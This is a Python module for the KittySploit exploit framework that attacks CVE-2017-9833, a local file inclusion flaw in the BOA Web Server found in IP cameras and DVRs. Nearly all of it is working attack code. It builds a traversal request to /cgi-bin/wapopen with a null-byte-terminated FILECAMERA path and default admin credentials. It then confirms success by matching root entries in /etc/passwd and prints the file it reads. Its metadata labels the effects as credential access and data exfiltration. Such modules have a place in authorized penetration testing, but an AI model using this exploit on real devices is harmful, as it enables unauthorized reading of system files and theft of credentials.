BOA Web Server LFI (CVE-2017-9833)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BOA Web Server FILECAMERA LFI (CVE-2017-9833)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'BOA Web Server LFI (CVE-2017-9833)',
        'description': (
            'Exploits CVE-2017-9833 in BOA Web Server 0.94.14 (common in IP cameras/DVRs): '
            'FILECAMERA traversal in /cgi-bin/wapopen reads arbitrary files as root.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-9833'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9833'],
        'tags': ['boa', 'camera', 'dvr', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2017_9833_detect']},
        },
    }

    file_path = OptString('../../etc/passwd', 'Traversal path for FILECAMERA', required=True)

    def execute(self, remote_path: str) -> str:
        cam = urllib.parse.quote(remote_path, safe='')
        path = (
            '/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00'
            f'&FILECAMERA={cam}%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm'
            '&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '../../etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'BOA FILECAMERA LFI confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'BOA LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('BOA web server not vulnerable')
            return False
        body = self.execute(str(self.file_path or '../../etc/passwd'))
        print_success(body[:4000])
        return True